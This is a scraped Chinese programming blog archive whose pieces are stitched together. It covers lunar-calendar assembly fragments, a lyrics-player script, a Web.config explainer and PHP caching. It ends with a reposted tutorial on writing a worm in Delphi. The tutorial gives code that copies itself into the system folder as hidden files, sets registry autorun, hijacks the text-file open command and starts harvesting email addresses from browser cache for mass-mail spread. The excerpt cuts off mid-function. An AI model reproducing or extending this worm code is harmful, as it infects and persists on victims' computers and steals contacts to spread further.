;===============================================
HgnMs dq 31556925.9747 ;每回归年秒数
OneDay dd 86400 ;每天秒数
sTermInfo dw 0,0,51,212,505,974,1619,2465,3485,4679,5992,7405,8847,10285,
11651,12913,14022,14958,15703,16258,16635,16856,16956,16974
_sTermOff proc dwYear:dword,dwMonth:dword
local @Temp1:dword,@Temp2
local @Rag1:word,@Rag2:word
分类目录归档:编程
计算农历的函数汇编原码(4)/zz/
;===========================
Hz_NumStr db ‘一二三四五六七八九’
Hz_TenStr db ‘十’
Hz_NumHStr db ‘初十廿’
_GetLunarStr proc _lpstLunarData:dword,lpBuffer:dword
assume esi:ptr LUNARDATA
pushad
计算农历的函数汇编原码(3)/zz/
;=============================
_GetLunarYearDays proc dwYear:dword
pushad
mov edx,dwYear
cmp edx,2050
ja toerr
sub dx,1900
jb toerr
汇编版Hello
DATAS SEGMENT ;数据段开始
STRING DB ‘hello Wowrld!’,’$’ ;定义一个字符串,以$为结束标志
DATAS ENDS ; 数据段结束
CODES SEGMENT ;代码段开始
ASSUME CS:CODES,DS:DATAS ;通知汇编程序,源程序中定义的组由对应的段寄存器进行段的寻址
START:
MOV AX,DATAS ;实现段址DATAS加载到DS
MOV DS,AX
LEA DX,STRING ;取STRING的偏移地址存到DX中
MOV AH,9 ;调用9号功能号输出字符串
INT 21H
MOV AH,4CH ;实现返回MS-DOS
INT 21H
CODES ENDS ;代码段结束
END START ;源程序模块结束
网页播放器动态显示歌词的代码
这是网页播放器动态显示歌词的代码(修改自百度MP3试听播放器代码),像百度一样单曲播放没有任何问题,但连播时持续播放10多首歌后CPU占用就超过90%了,直到死机
以下是代码:
CODE:
var tmpOutput=null;
var bdLRC=null;
var count=null;
var tmp=null;
var lrcFileName=null;
var lrcfile_xmlhttp=null;
var tmpURL=null;
var tmpStr=null;tmpOutput=document.getElementById(‘followTd’);
count=0;
tmpOutput.innerHTML=”
正在加载歌词信息,请您稍等片刻….”;
tmp=setInterval(getObject,200);
function getObject(){
bdLRC=new bdSyncLRC();
if(bdLRC!=null){
clearInterval(tmp);
if(typeof(pID)==”string”){
bdLRC.playerObj=document.getElementById(pID);
}else{
if(typeof(pID)==”object”)bdLRC.playerObj=pID;
}
lrcFileName=lrcID+”.lrc”;
bdLRC.lrcURL=”http://192.168.0.249/music/readlrc.asp?checked=”+lrcFileName;
bdLRC.lrcShower=”followTd”;
lrcfile_xmlhttp=obj_newxmlhttp();
tmpURL=bdLRC.lrcURL;
tmpStr=””;
lrcfile_xmlhttp.onreadystatechange=function(){
if(lrcfile_xmlhttp.readyState==4){
tmpStr=bytes2BSTR(lrcfile_xmlhttp.responseBody);
lrcfile_xmlhttp=null;
bdLRC.lrcContent=tmpStr;
}
}
lrcfile_xmlhttp.open(“POST”,tmpURL,true);
lrcfile_xmlhttp.send(null);
bdLRC.begin();
}else{
if(count==25){
clearInterval(tmp);
tmpOutput.innerHTML=”
可能是因为网络的原因,系统没有找到合适的歌词。请稍后重试”;
}else count++;
}
}
}
function bdSyncLRC(){
var playerObj=null;
var playerTypeStr=null;
var lrcURL=null;
var lrcShower=null;
var lrcContent=null;
var lrcObjArray=null;
lrcURL=””;
lrcShower=””;
lrcContent=””;
lrcObjArray=new Array();
this.preLRC=new Array();
this.offsetTime=0;
this.scrollMoveLen=20;
}
bdSyncLRC.prototype.getPlayer=function(){
if(typeof(document.getElementById(“this.playerObj”))==’object’){
return this.playerObj;
}else{
return null;
}
}
bdSyncLRC.prototype.getURL=function(){return this.lrcURL;};
bdSyncLRC.prototype.getOutput=function(){
if(this.lrcShower!=””){
if(typeof(this.lrcShower)==”string”){
return document.getElementById(this.lrcShower);
}else{
if(typeof(this.lrcShower)==”object”)return this.lrcShower;
}
};
return null;
};
bdSyncLRC.prototype.multiLRC=function(lrcLine){
thisObj=this;
tmpVar=lrcLine.split(“]”);
if(tmpVar.length>=2){
lrcText=tmpVar[tmpVar.length-1];
for(j3=0;j3<tmpVar.length-1;j3++){
lrcTime=tmpVar[j3]+”]”;
thisObj.preLRC.push(lrcTime+””+lrcText);
}
}
}
bdSyncLRC.prototype.preSyncLRC=function(){
if(this.lrcContent==null||this.lrcContent==””)return;
lrcLines=this.lrcContent.split(“n”);
tmpArr=new Array();
for(i1=0;i1<lrcLines.length;i1++)this.multiLRC(replaceStr(lrcLines[i1])); this.preLRC.sort(); var tmpVar=”aaa”; for(i2=this.preLRC.length-1;i2>=0;i2–){
if(this.preLRC[i2]==tmpVar){
tmpVar=this.preLRC[i2];
this.preLRC.splice(i2,1);
}else{
tmpVar=this.preLRC[i2];
}
}
preTime=0;
indexLRC=1;
tmpArr[0]=new LRCItem(0,””);
for(i3=0;i3<this.preLRC.length;i3++){ if(this.preLRC[i3].length>9){
tmpTime=getLyrcTime(this.preLRC[i3]);
tmpLrc=getLyrc(this.preLRC[i3]);
if(tmpTime<preTime)continue; preTime=tmpTime; var tmpItem=new LRCItem(tmpTime,tmpLrc); tmpArr[indexLRC++]=tmpItem; } } var tmpItem=new LRCItem(3600,”Over…”); tmpArr[indexLRC]=tmpItem; if(tmpArr.length>=1)this.lrcObjArray=tmpArr;
}
function replaceStr(tmpStr){return tmpStr.replace(/^s*|s*$/g,””);};
function getLyrc(tmpStr){try{tmpArray=tmpStr.split(“]”);return tmpArray[tmpArray.length-1];}catch(e){};return””;};
function getLyrcTime(tmpStr){try{tmpChar=tmpStr.split(“]”)[0].split(“[“)[1];tmpVar=tmpChar.split(“:”);if(tmpVar.length<2)return 0;min=tmpVar[1].split(“.”)[0];tmpInt=parseInt(tmpVar[0])*60+parseFloat(min);if(!isNaN(tmpInt))return tmpInt;}catch(e){};return 0;}; function LRCItem(){varlrcTime=-1;var lrcContent=””;if(arguments.length>=2){this.lrcTime=arguments[0];this.lrcContent=arguments[1];};};
function obj_newxmlhttp(){
/* Create a new XMLHttpRequest object to talk to the Web server */
var xmlhttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlhttp = new ActiveXObject(“Msxml2.XMLHTTP”);
} catch (e) {
try {
xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”);
} catch (e2) {
xmlhttp = false;
}
}
@end @*/
if (!xmlhttp && typeof XMLHttpRequest != ‘undefined’) {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
bdSyncLRC.prototype.begin=function(){
thisObj=this;
tmpPlayerObj=thisObj.getPlayer();
var tmpOutput=document.getElementById(‘followTd’);
var tmpI=setInterval(getlrc,100);
var count1=0;
function getlrc(){
if(typeof(thisObj.lrcContent)!=”undefined”){
clearInterval(tmpI);
thisObj.preSyncLRC();
var tmp,tmpArray;
tmpArray=thisObj.lrcObjArray;
tmp=”
“+”
“+”
“+”
“+”
“+”
“+”
“;
for(i10=0;i10<tmpArray.length;i10++)tmp+=”“+replaceStr(tmpArray[i10].lrcContent)+”
“;
thisObj.getOutput().innerHTML=tmp;
getPlayingTime(tmpPlayerObj,thisObj);
}else{
if(count1==50){
clearInterval(tmpI);
tmpOutput.innerHTML=”
可能是因为网络的原因,系统没有找到合适的歌词。请稍后重试”;
}else count1++;
}
}
}
function getPlayingTime(playerObj,bdLRCObj){
try{
tmpbdLRCObj=bdLRCObj;
var tmpPlayerObj=playerObj;
if(typeof(tmpPlayerObj)==”string”)tmpPlayerObj=document.getElementById(tmpPlayerObj);
window.setTimeout(“getPlayingTime(tmpPlayerObj,tmpbdLRCObj)”,500);
bdsyncLyrc(tmpbdLRCObj);
}catch(e){
document.title=”getPlayingTime…”+e.toString();
}
}
var preMatchLrcLine=-1;
function bdsyncLyrc(bdLRCObj){
try{
tmpPlayer=bdLRCObj.getPlayer();
playerStatus=tmpPlayer.GetPlayState();
if(tmpPlayer){
var tmpLrcContent=null;
var color=null;
var lineCount=null;
var perLineCount=null;
var i4=null;
currentTime=tmpPlayer.GetPosition()/1000;
// bdLRCObj.preSyncLRC();
tmpLrcs=bdLRCObj.lrcObjArray;
tmpScroll=bdLRCObj.getOutput();
tmpScrollId=bdLRCObj.getOutput();
perLength=bdLRCObj.scrollMoveLen;
tmpLrcContent=new Array(20);
color=new Array(21);
lineCount=new Array(tmpLrcs.length);
perLineCount=new Array(tmpLrcs.length);
for(i4=0;i4<tmpLrcs.length;i4++){
lineCount[i4]=Math.floor(tmpLrcs[i4].lrcContent.length/67);
perLineCount[i4]=0;
for(j1=0;j1<i4;j1++){
perLineCount[i4]+=lineCount[j1];
}
}
//window.upid6.innerHTML=perLineCount;
color[0]=”#000000″;color[1]=”#0d0500″;color[2]=”#1a0a00″;color[3]=”#270f00″;color[4]=”#341400″;color[5]=”#411900″;color[6]=”#4e1e00″;color[7]=”#5b2300″;color[8]=”#682800″;color[9]=”#752d00″;color[10]=”#823200″;color[11]=”#8f3700″;color[12]=”#9c3c00″;color[13]=”#a94100″;color[14]=”#b64600″;color[15]=”#c34b00″;color[16]=”#d05000″;color[17]=”#dd5500″;color[18]=”#ea5a00″;color[19]=”#f75f00″;color[20]=”#ff5a00″;
for(i5=0;i5<20;i5++)tmpLrcContent[i5]=”
“+”
“+”
“+”
“+”
“+”
“+”
“;
var tmpMatchLrcLine=0;
for(j2=0;j2<tmpLrcs.length;j2++){
nowLrc=tmpLrcs[j2];
nextLrc=tmpLrcs[(j2<tmpLrcs.length-1)?j2+1:j2];
nowTime=nowLrc.lrcTime+bdLRCObj.offsetTime;
nextTime=nextLrc.lrcTime+bdLRCObj.offsetTime;
if(nowTime<=currentTime&¤tTime<nextTime){
tmpMatchLrcLine=j2;
for(i6=0;i6<20;i6++){
tmpLrcContent[i6]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
window.upid6.innerHTML=”“+replaceStr(tmpLrcs[j2].lrcContent)+”“;
j2+=1;
tmpInt=tmpLrcs.length-j2;
for(;j2<tmpLrcs.length;j2++){
for(i7=0;i7<20;i7++){
tmpLrcContent[i7]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
}
if(tmpInt<8){
for(j2=0;j2<=8-tmpInt;j2++){
for(i8=0;i8<20;i8++){
tmpLrcContent[i8]+=”
“;
}
}
}
break;
}else{
//window.upid6.innerHTML=preMatchLrcLine;
if(j2==preMatchLrcLine){
for(i9=0;i9<20;i9++)tmpLrcContent[i9]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
} else {
for(i0=0;i0<20;i0++)tmpLrcContent[i0]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
}
}
if(preMatchLrcLine!=tmpMatchLrcLine){
if(Math.abs(tmpMatchLrcLine-preMatchLrcLine)>1){
tmpScroll.innerHTML=tmpLrcContent[19];
tmpScrollId.scrollTop=(tmpMatchLrcLine+perLineCount[tmpMatchLrcLine]+1)*perLength;
// tmpScrollId.scrollTop=(tmpMatchLrcLine+perLineCount[tmpMatchLrcLine]+1)*perLength;
} else {
var count2=0;
function scrollAdd(){
tmpScroll.innerHTML=tmpLrcContent[2*count2];
tmpScrollId.scrollTop+=2*(1+lineCount[preMatchLrcLine]);
count2++;
if(count2==10)clearInterval(loaderInterval);
}
var loaderInterval=setInterval(scrollAdd,25);
}
}
preMatchLrcLine=tmpMatchLrcLine;
}
}catch(e){
document.title=”bdsyncLyrc=”+e.toString();
}
};
浅析Asp.net中的Web.config文件/zz/
一、认识Web.config文件
Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过VB.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认 的
Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件。它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置。
在运行时对Web.config文件的修改不需要重启服务就可以生效(注:<processModel> 节例外)。当然Web.config文件是可以扩展的。你可以自定义新配置参数并编写配置节处理程序以对它们进行处理。
二、web.config配置文件(默认的配置设置)以下所有的代码都应该位于
<configuration>
<system.web>
和
</system.web>
</configuration>
之间,出于学习的目的下面的示例都省略了这段XML标记
1、<authentication> 节
作用:配置 ASP.NET 身份验证支持(为Windows、Forms、PassPort、None四种)。该元素只能在计算机、站点或应用程序级别声明。<authentication> 元素必需与<authorization> 节配合使用。
示例:
以下示例为基于窗体(Forms)的身份验证配置站点,当没有登陆的用户访问需要身份验证的网页,网页自动跳转到登陆网页。
<authentication mode=”Forms” >
<forms loginUrl=”logon.aspx” name=”.FormsAuthCookie”/>
</authentication>
其中元素loginUrl表示登陆网页的名称,name表示Cookie名称
2、<authorization> 节
作用:控制对 URL 资源的客户端访问(如允许匿名用户访问)。此元素可以在任何级别(计算机、站点、应用程序、子目录或页)上声明。必需与<authentication> 节配合使用。
示例:以下示例禁止匿名用户的访问
<authorization>
<deny users=”?”/>
</authorization>
注:你可以使用user.identity.name来获取已经过验证的当前的用户名;可以使用
web.Security.FormsAuthentication.RedirectFromLoginPage方法将已验证的用户重定向到用户刚才请求的页面.具体的实例请参考:
Forms验证 http://www.fanvb.net/websample/dataauth.aspx
3、<compilation>节
作用:配置 ASP.NET 使用的所有编译设置。默认的debug属性为“True”.在程序编译完成交付使用之后应将其设为True(Web.config文件中有详细说明,此处省略示例)
4、<customErrors>
作用:为 ASP.NET 应用程序提供有关自定义错误信息的信息。它不适用于 XML Web services 中发生的错误。
示例:当发生错误时,将网页跳转到自定义的错误页面。
<customErrors defaultRedirect=”ErrorPage.aspx” mode=”RemoteOnly”>
</customErrors>
其中元素defaultRedirect表示自定义的错误网页的名称。mode元素表示:对不在本地 Web 服务器上运行的用户显示自定义(友好的)信息。
5、<httpRuntime>节
作用:配置 ASP.NET HTTP 运行库设置。该节可以在计算机、站点、应用程序和子目录级别声明。
示例:控制用户上传文件最大为4M,最长时间为60秒,最多请求数为100
<httpRuntime maxRequestLength=”4096″ executionTimeout=”60″ appRequestQueueLimit=”100″/>
6、 <pages>
作用:标识特定于页的配置设置(如是否启用会话状态、视图状态,是否检测用户的输入等)。<pages>可以在计算机、站点、应用程序和子目录级别声明。
示例:不检测用户在浏览器输入的内容中是否存在潜在的危险数据(注:该项默认是检测,如果你使用了不检测,一要对用户的输入进行编码或验证),在从客户端回发页时将检查加密的视图状态,以验证视图状态是否已在客户端被篡改。(注:该项默认是不验证)
<pages buffer=”true” enableViewStateMac=”true” validateRequest=”false”/>
7、<sessionState>
作用:为当前应用程序配置会话状态设置(如设置是否启用会话状态,会话状态保存位置)。
示例:
<sessionState mode=”InProc” cookieless=”true” timeout=”20″/>
</sessionState>
注:
mode=”InProc”表示:在本地储存会话状态(你也可以选择储存在远程服务器或SAL服务器中或不启用会话状态)
cookieless=”true”表示:如果用户浏览器不支持Cookie时启用会话状态(默认为False)
timeout=”20″表示:会话可以处于空闲状态的分钟数
8、<trace>
作用:配置 ASP.NET 跟踪服务,主要用来程序测试判断哪里出错。
示例:以下为Web.config中的默认配置:
<trace enabled=”false” requestLimit=”10″ pageOutput=”false” traceMode=”SortByTime” localOnly=”true” />
注:
enabled=”false”表示不启用跟踪;requestLimit=”10″表示指定在服务器上存储的跟踪请求的数目
pageOutput=”false”表示只能通过跟踪实用工具访问跟踪输出;
traceMode=”SortByTime”表示以处理跟踪的顺序来显示跟踪信息
localOnly=”true” 表示跟踪查看器 (trace.axd) 只用于宿主 Web 服务器
三、自定义Web.config文件配置节
自定义Web.config文件配置节过程分为两步。
一是在在配置文件顶部 <configSections> 和 </configSections>标记之间声明配置节的名称和处理该节中配置数据的 .NET Framework 类的名称。
二是在 <configSections> 区域之后为声明的节做实际的配置设置。
示例:创建一个节存储数据库连接字符串
<configuration>
<configSections>
<section name=”appSettings” type=”System.Configuration.NameValueFileSectionHandler, System, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089″/>
</configSections>
<appSettings>
<add key=”scon” value=”server=a;database=northwind;uid=sa;pwd=123″/>
</appSettings>
<system.web>
……
</system.web>
</configuration>
缓冲机制以及php的实现
PHP内容缓存输出:
PEAR cache
PEAR cache 安装/usr/ports/sysutils/pear-Cachemake install clean
内容缓存输出 PEAR cache接下来我们开始探索更常用的缓存技术,这也是本文的重点部份。首先我们使用PEAR中的cache包。PEAR可以将内容缓存于文件,数据库或 者内存中,我们以文件为例。
没有使用缓存的PHP小程序:
pear_content_cache1.php
<?php echo “这是内容。”; echo “当前时间是” . date(‘M-d-Y H:i:s A’, time()) . “”; ?>
上面这个程序非常简单,现在我们为其加上缓存。
pear_content_cache2.php
<?php require_once ‘Cache/Output.php’;
//设置缓存目录,必须是可写的
$cacheDir = ‘./pear_cache’; $cache = new Cache_Output(‘file’,array(‘cache_dir’ => $cacheDir));
//如果nocache变量为空,使用缓存中的内容
//如果想获得最新的内容,就要赋值给nocache变量 if (empty($_REQUEST[‘nocache’])) { // 建立一个独一的cache标识 // 请求+Cookie信息 $cache_id = $cache->generateID(array(‘url’ => $_REQUEST,’post’ =>$_POST,’cookies’ => $HTTP_COOKIE_VARS)); } else { //想获得最新的内容,ID为空 $cache_id = null; } //看cache ID对应的缓存内容是否可用 if ($content = $cache->start($cache_id)) { //缓存已存在,直接输出,并结束脚本 echo $content; exit(); } // 缓存中不存在该内容,生成新内容并写入缓存 echo “这是内容。
“; echo “当前时间是” . date(‘M-d-Y H:i:s A’, time()) . “”;
// 把内容写入缓存
echo $cache->end(); ?>
分别刷新这两个文件,你会发现
pear_content_cache1.php中的“当前时间是”这一行中的时间是随着刷新而变化的,而 pear_content_cache2.php中的这一行则不变。
这是由于pear_content_cache2.php使用了缓存,将用户请求的内 容存入静态文件中。当用户再次请求时,它直接从文件中输出,而不需要用程序动态生成内容。对于pear_content_cache2.php,如果用户想要读取最新的信息,而不是缓存中成旧的信息。
那么可以用http://…/pear_content_cache2.php?nocache=1 来访问,这将禁用缓存功能。刷新一下看看,你将发现时间会随之变化。
总结一下PEAR内容缓存类的使用:
1.包含PEAR包 要注意设对路径。
2.包含Output.php中的cache类require_once ‘Cache/Output.php’;
3.设置缓存目录$cacheDir = ‘./pear_cache’;确认这个目录是可写的。Cache数据将会写入这个目录的子目录中。
4.建立一个输出缓存对象
$cache = new Cache_Output(‘file’,array(‘cache_dir’ => $cacheDir));
第一个参数表示我们使用基于“文件”方式的缓存,第二个参数是一个与缓存目录相关联的数组。
5.产生一个唯一的cache ID
$cache_id = $cache->generateID(array(‘url’ => $_REQUEST,’post’ =>$_POST,’cookies’ => $HTTP_COOKIE_VARS));
这里$cache对象的generateID()方法通过提供一个信息数组(URL, HTTP POST data, 和 HTTP cookie)来独一无二地标识这个请求,与其它请求区分开来。
6.增加一个逻辑判断语句看是否对应于cacheID的缓存数据是否已经存在,如果存在, 获取数据并结束脚本。
if ($content = $cache->start($cache_id)) { echo $content; exit(); }
7. 将产生内容的代码放在以上逻辑语句之后,并结束使用cache对象。echo $cache->end();
◆ 函数缓存输出
PEAR cache PEAR除了可以对输出的内容进行缓存处理外,还可以将对某个函数的调用结果缓存起来。这是个很有趣的功能,如果你的程序要频繁使用到某个 函数,而且调用的结果相同的话,我建议你不妨试试,特别是当这个函数运行起来比较慢的时候。
下面我们实现对一个执行起来很慢的函数 slowFunction()的缓冲调用。
<?php require_once ‘Cache/Function.php’;
$cacheDir = ‘./pear_cache/’; $cache = new Cache_Function(‘file’,array(‘cache_dir’ => $cacheDir));
$arr = array(‘苹果’, ‘梨’,’西瓜’);
$cache->call(‘slowFunction’, $arr); echo ”;
$arr = array(‘苹果’, ‘梨’,’西瓜’);
slowFunction($arr); function slowFunction($arr = null) { echo “一个执行起来很慢的函数 🙁 “;
echo “当前时间是 ” . date(‘M-d-Y H:i:s A’, time()) . ”;
foreach ($arr as $fruit) { echo “我吃了一个 $fruit “; } } ?>
以下是示例的脚本执行结果:一个执行起来很慢的函数 当前时间是 Jul-28-2004 17:15:57 PM我吃了一个 苹果我吃了一个 梨我吃了一个 西瓜一个执行起来很慢的函数 当前时间是 Jul-28-2004 17:17:55 PM我吃了一个 苹果我吃了一个 梨我吃了一个 西瓜
代码中,Cache/Function.php类用来执行函数缓冲功能。$cache变量是一个Cache_Function对象,使用基于文件 的函数缓存,存入$cacheDir目录。要缓存一个函数调,Cache_Function对象$cache的call()方法要像这样使 用:$cache->call(‘slowFunction’, $arr);
这里,slowFunction()函数被调用,参数为一个数组$arr,这个函数被缓存在$cacheDir目录下的一个文件里。任何 在此之后的对这个函数的调用,将会由$cache->call()返回该函数执行的结果。
函数缓存和使用方法和内容缓存很相似,不再多说,具体请查看PEAR手册。
以上我们都是利用优化代码的方法对程序进行提速,接着我们要关注一下PHP加速的另一个领域—缓存工具软件。这类软件都是从优化 PHP运行环境来提速的,不需要改变任何代码。我们可以大概地将它们称为“执行码优化/缓存工具”,你可以理解为它们用来实现比较底层的优化/缓存。
以下列出目前比较常用的此类工具,具体哪种效果最好,请用自己的服务器环境测试:
(一)APC Alternative PHP Cache http://apc.communityconnect.com/
APC运行于Linux和FreeBSD,你需要自己编译安装。按照其 开发人员的说法,在他们的测试环境下可以提高脚本速度50%-400%。并且APC是个开源项目,已经加入了PHP的PECL库,很值得一试。
(二)Turck MMCache http://turck-mmcache.sourceforge.net/
Turck MMCache似乎是此类软件中目前最受欢迎的一种,它开放源代码,完全免费。它将PHP代码预编译并缓存起来,同时也对PHP运行环境进行一定优化。按 照其官方文档的说法,MMCache可以明显地减轻服务器的负载,并提高脚本执行速度1-10倍。
MMCache与另一个知名的加速软件Zend Optimizer兼容,但注意必需先安装MMCache(php.ini中设置)。除了加快PHP程序的速度,MMCache还可以将PHP代码加密。
Turck MMCache同时支持Linux和Win32平台。
(三)PHPA the PHP Accelerator http://www.php-accelerator/
PHPA又是另一个流行的PHP加速软件。在其官方网站上有分别使用 PHPA与APC、Zend Cache的PHP脚本执行测试对比,其表现略优于APC,略逊于Zend Cache。PHPA支持Linux, FreeBSD, OpenBSD, BSDi和Solaris系统.
(四)Zend Performance Suite http://www.zend.com/Zend Performance Suite是老牌的PHP加速/优化软件,依托于PHP领域最知名的Zend公司。目前已经推出4.0版本,它可以为PHP应用提供程序加速,内容缓存, 文件压缩,下载服务等,功能十分强大,获得好几个PHP杂志的推荐奖—但是不得不提起,它也很昂贵,目前的价格是1875美元。以上几种加速软件,希望读 者按照服务器环境自行测试并选择其中最适用的,因为我没有办法提供一个普遍适用的测试标准来判断哪种方案是最有效的。综合起来看,我个人认为Turck MMCache是个值得推荐的选择,免费而且功能相当出色。
总结:以上从多个角度较为全面细致地阐述了PHP加速的相关技术,包括测试技术,加速技术 (压缩,缓存等),基本上都有附代码和范例。希望本文有助于读者全面了解PHP程序加速并在实际应用中选择合适的加速方案。
浅谈用delphi来编写蠕虫病毒/zz/
浅谈用delphi来编写蠕虫病毒/zz/
作者:不详
出处:不详
//////////
前言:
可能大家想到病毒,第一反应就是可能是用asm来编写,或者是vbsript,而高级语言如delphi就好象不能编写一样,其实事实并不是这个样子的,只要我们花一些时间,照样可以写出简短而高效的病毒程序来,一点也不输那些用汇编写出来的程序哦。
一个病毒程序首先要短小,我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道,如果在uses里面加入forms,classes…..等就会使目标文件非常的大,所以,在我们的程序里,我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数,比如对文件的操作,对字符串的操作,如果用自己的程序来代替,目标文件会更加的小)
首先,我们知道,一个病毒程序一般都分下面三个模块:
①保护模块;
②感染模块;
③发作模块。
下面我们就从这三个模块开始,分别实现他们的代码。
一)保护模块。
一般,我们都是把自身拷贝到系统的一些目录里,比如%systemroot%
那么,我们首先要取得这些特定的目录的路径
sdk里面给我们提供了一个这样的函数GetSystemDirectory
UINT GetSystemDirectory(
LPTSTR lpBuffer, // 存放返回的字符串的缓冲区
UINT uSize // 上面的缓冲去的长度
);
相关的函数还有GetWindowsDirectory可以得到%windows%的路径
得到了系统的目录后,第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile
BOOL CopyFile(
LPCTSTR lpExistingFileName, // 源文件的路径
LPCTSTR lpNewFileName, // 目标文件的路径
BOOL bFailIfExists // 这是一个标志,如果目标文件已经存在,是否强制覆盖
);
拷贝文件完毕后,我们来把这个文件设置为系统和隐藏,那么一般情况是看不见该文件的,
除非选取查看所有文件,以及显示受保护文件。
同样,介绍一个函数SetFileAttributes
BOOL SetFileAttributes(
LPCTSTR lpFileName, // 需要设置的文件的文件名
DWORD dwFileAttributes // 设置的值。
);
我们这里要设置为隐藏和系统,那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM
下面就是最重要的,让该文件开机自动运行,我们一般都是写注册表,
首先用RegOpenKey函数来打开一个键,
LONG RegOpenKey(
HKEY hKey, // 主键,比如HKEY_LOCAL_MACHINE
LPCTSTR lpSubKey, // 跟随的subkey
PHKEY phkResult // 存放函数返回这个打开的键的句柄
);
得到了HKEY后,就可以用regsetvalueex来向该键写具体的值了。
LONG RegSetValueEx(
HKEY hKey, // 这个就是刚才我们得到的句柄
LPCTSTR lpValueName, // 键名的地址
DWORD Reserved, // 一般设置为0
DWORD dwType, // 我们写的键的类型,字符串为REG_SZ
CONST BYTE *lpData, // 键值的地址
DWORD cbData // 写入的键值的长度
);
下面,我综合上面的说明来给出一个简短的例子:
procedure SelfCopy;
var
Path,Value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+’ruin.exe’),false);
CopyFile(pchar(paramstr(0)),pchar(S+’virus_ruin.exe’),false);
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe
SetFileAttributes(pchar(S+’ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+’virus_ruin.exe’),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,’txtfileshellopencommand’,Hk);
Value:=’virus_ruin.exe %1′;
RegSetValueEx(Hk,”,0,REG_SZ,@Value,17);
//把virus_ruin.exe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,’SoftwareMicrosoftWindowsCurrentVersionRun’,Hk);
Value:=’ruin.exe’;
RegSetValueEx(Hk,’ruin’,0,REG_SZ,@Value,8);
//设置开机自动运行ruin.exe
end;
我们看上面的这个程序,就完成了自我复制,和开机自动运行,
并且关联了文本文件,这样,如果run下的键被删除,那么他打开文本文件,蠕虫文件又被激活。
不过这个样子,你就需要在你的主程序里面进行判断,如果传递的参数等于1 ,则打开该文本,
并且进行自我保护。
如:
begin
if paramcount=1 then
shellexecute(0,’open’,’notepad.exe’,pchar(paramstr(1)),nil,sw_normal);
//其他的代码
这里,我只是给出一个简单的例子来描述出一个大概的思路,
很多地方还不完善,比如进程的隐藏,
你可以进行判断,
如果是98你可以registerserverapplication如果你是用的2000,你可以做为服务启动,
或者是插入dll,或者是用求职信的方法,开机加载一个dll,或者是win.ini
或者……….
因为我这里只是浅谈,只给大家提供一个思路,
如果你要深入研究,推荐看看shotgun的《揭开木马的神秘面纱》。
{
注:由于小弟水平有限,并且是小弟第一次写文章,自然难免有很多不足的地方,还请大家包涵!
如果你有什么意见和建议,也请给我来信,大家互相学习,互相探讨!
}
各位看官,我们接着上次的part Ⅰ 开始讲解!
上次我只是简单的讲解了如何进行简单的自我保护,也算是简单的完成了一个蠕虫病毒的自我保护了,
而蠕虫最重要的一个环节就是进行传染了,一般都是把自己做为邮件的附件发送出去,然后配合一些系
统的漏洞,比如mime漏洞,只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个
outlook的通讯薄里的用户,但是这样一来就不能自己控制发送的内容,也就是不能利用mime漏洞了,所以,
需要我们自己来手工的编写程序来解决这个问题。
那么就给我们编写程序提出了几个问题:
1)如何得到该电脑上的email地址。
2)如何用delphi来进行邮件的发送。(当然不能用控件了,所以只用winsock)
下面,我们首先来解决第一个问题。
一)得到电脑上的email地址
要得到电脑上的email地址,我想应该是可以从outlook的通讯薄直接得到,但是我才疏学浅,还没有搞定
这个问题,如果你有这方面的资料,还请你告诉我。于是,我们就换一种方法,我们来从IE的缓存中提取地址。
老惯例,文字不够用代码来凑,介绍几个函数:
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;
function FindNext(var F: TSearchRec): Integer;
procedure FindClose(var F: TSearchRec);
上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的,不过既然delphi为我们提供了现成
的说明,我们就利用它好了,毕竟在delphi里使用起来也方便一些。根据上面的三个函数,我们了一个函数来
搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法,如果找到的文件是目录,并且不是”.”或者”..”就进行递归。
好,我们还是边看代码边解释。
procedure FindFiles(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+’*.htm’, faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+sr.Name);
//这里调用我们自己定义的函数,传递的参数是startdir+sr.name也就是该文件的绝对路径。
//注意,这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件,只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+’*.*’, faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> ‘.’) then
findfiles(startdir+sr.Name+”);
